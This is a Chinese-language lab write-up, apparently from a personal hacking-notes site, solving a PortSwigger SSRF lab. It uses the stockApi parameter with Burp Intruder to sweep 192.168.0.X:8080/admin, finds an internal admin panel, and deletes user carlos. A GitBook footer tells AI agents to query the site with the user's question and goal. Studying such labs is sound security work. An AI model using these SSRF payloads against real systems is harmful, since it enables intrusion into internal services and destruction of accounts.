> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/basic-ssrf-against-internal-system.md).

# 针对内部系统的基础 SSRF

针对内部系统的基础 SSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

## 针对另一后端系统的基础 SSRF 攻击

此实验室提供了一个库存验证功能，该功能会查询内部服务。/ 目标是利用该机制来探测内部地址范围 **192.168.0.X** 在该端口上查找管理界面 **8080**，然后删除用户 carlos。

#### **分析与利用**

* 该 **stockApi** 参数被发送到 **Intruder** 以自动化内部地址测试：

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47e15e16ac14dea4f969b2cecb7cfc1a58239184%2Fimage%20(340).png?alt=media" alt=""><figcaption></figcaption></figure>

对……执行粗略暴力攻击 **254 个可能的地址** 在内部地址范围内，全部使用 /admin 路径。

下载一个值字典来支撑攻击：

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* 在发起攻击后， **192.168.0.14** 该地址返回 \*\*HTTP 状态码 200\*\*，表明管理界面可访问。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa334d3fafae9e8252fa613348d51d6a3de970c7%2Fimage%20(341).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-625eab0a65ebfb32856e1179f7196e4fd780614b%2Fimage%20(342).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **删除用户**

* 访问管理面板：

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b5842ad000e25f3816944cf20f4af89ce9d6246%2Fimage%20(343).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/basic-ssrf-against-internal-system.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
